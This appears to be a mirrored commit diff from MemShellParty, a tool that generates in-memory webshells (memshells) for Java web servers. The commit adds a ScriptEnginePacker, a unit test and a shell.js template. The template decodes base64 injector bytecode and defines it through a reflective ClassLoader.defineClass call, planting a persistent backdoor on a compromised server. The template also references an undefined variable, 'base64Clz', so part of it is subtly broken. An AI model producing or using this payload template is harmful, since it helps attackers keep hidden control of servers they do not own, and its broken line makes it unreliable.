mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support JDK8 ScriptEngine packer
This commit is contained in:
@@ -32,7 +32,7 @@ public class GeneratorMain {
|
||||
System.out.println(shellConfig.getShellClassName() + " : " + shellBytesBase64Str);
|
||||
System.out.println(shellConfig.getInjectorClassName() + " : " + injectorBytesBase64Str);
|
||||
System.out.println(shellConfig);
|
||||
Files.write(Paths.get(shellConfig.getShellClassName() + ".class"), generateResult.getShellBytes());
|
||||
Files.write(Paths.get(shellConfig.getInjectorClassName() + ".class"), generateResult.getInjectorBytes());
|
||||
JspPacker jspPacker = new JspPacker();
|
||||
String jspContent = new String(jspPacker.pack(generateResult));
|
||||
System.out.println(jspContent);
|
||||
|
||||
@@ -1,11 +1,39 @@
|
||||
package com.reajason.javaweb.memsell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import lombok.Getter;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/26
|
||||
*/
|
||||
public interface Packer {
|
||||
|
||||
/**
|
||||
* 将生成的内存马打包成指定格式
|
||||
*
|
||||
* @param generateResult 生成的内存马信息
|
||||
* @return 指定格式字节数组
|
||||
*/
|
||||
byte[] pack(GenerateResult generateResult);
|
||||
|
||||
|
||||
@Getter
|
||||
static enum INSTANCE {
|
||||
/**
|
||||
* JSP 打包器
|
||||
*/
|
||||
JSP(new JspPacker()),
|
||||
|
||||
/**
|
||||
* 脚本引擎打包器
|
||||
*/
|
||||
ScriptEngine(new ScriptEnginePacker());
|
||||
|
||||
private final Packer packer;
|
||||
|
||||
INSTANCE(Packer packer) {
|
||||
this.packer = packer;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,23 @@
|
||||
package com.reajason.javaweb.memsell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.nio.charset.Charset;
|
||||
import java.util.Objects;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/3
|
||||
*/
|
||||
public class ScriptEnginePacker implements Packer {
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public byte[] pack(GenerateResult generateResult) {
|
||||
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
|
||||
String injectorClassName = generateResult.getInjectorClassName();
|
||||
String jsTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.js")), Charset.defaultCharset());
|
||||
return jsTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str).getBytes();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
var classLoader = java.lang.Thread.currentThread().getContextClassLoader();
|
||||
var className = "{{className}}";
|
||||
var base64Str = "{{base64Str}}";
|
||||
try {
|
||||
classLoader.loadClass(className).newInstance();
|
||||
} catch (e) {
|
||||
var clsString = classLoader.loadClass('java.lang.String');
|
||||
var bytecode;
|
||||
try {
|
||||
var clsBase64 = classLoader.loadClass("java.util.Base64");
|
||||
var clsDecoder = classLoader.loadClass("java.util.Base64$Decoder");
|
||||
var decoder = clsBase64.getMethod("getDecoder").invoke(base64Clz);
|
||||
bytecode = clsDecoder.getMethod("decode", clsString).invoke(decoder, base64Str);
|
||||
} catch (ee) {
|
||||
var datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
||||
bytecode = datatypeConverterClz.getMethod("parseBase64Binary", clsString).invoke(datatypeConverterClz, base64Str);
|
||||
}
|
||||
var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');
|
||||
var clsByteArray = classLoader.loadClass('[B');
|
||||
var clsInt = java.lang.Integer.TYPE;
|
||||
var defineClass = clsClassLoader.getDeclaredMethod("defineClass", clsByteArray, clsInt, clsInt);
|
||||
defineClass.setAccessible(true);
|
||||
var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length);
|
||||
clazz.newInstance();
|
||||
}
|
||||
+25
@@ -0,0 +1,25 @@
|
||||
package com.reajason.javaweb.memsell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/3
|
||||
*/
|
||||
class ScriptEnginePackerTest {
|
||||
|
||||
@Test
|
||||
void pack() {
|
||||
GenerateResult generateResult = GenerateResult.builder()
|
||||
.injectorClassName("hehe")
|
||||
.injectorBytesBase64Str("hehe").build();
|
||||
String jsContent = new String(new ScriptEnginePacker().pack(generateResult));
|
||||
System.out.println(jsContent);
|
||||
assertTrue(jsContent.contains("var className = \"hehe\";"));
|
||||
assertTrue(jsContent.contains("var base64Str = \"hehe\";"));
|
||||
}
|
||||
|
||||
}
|
||||
Reference in New Issue
Block a user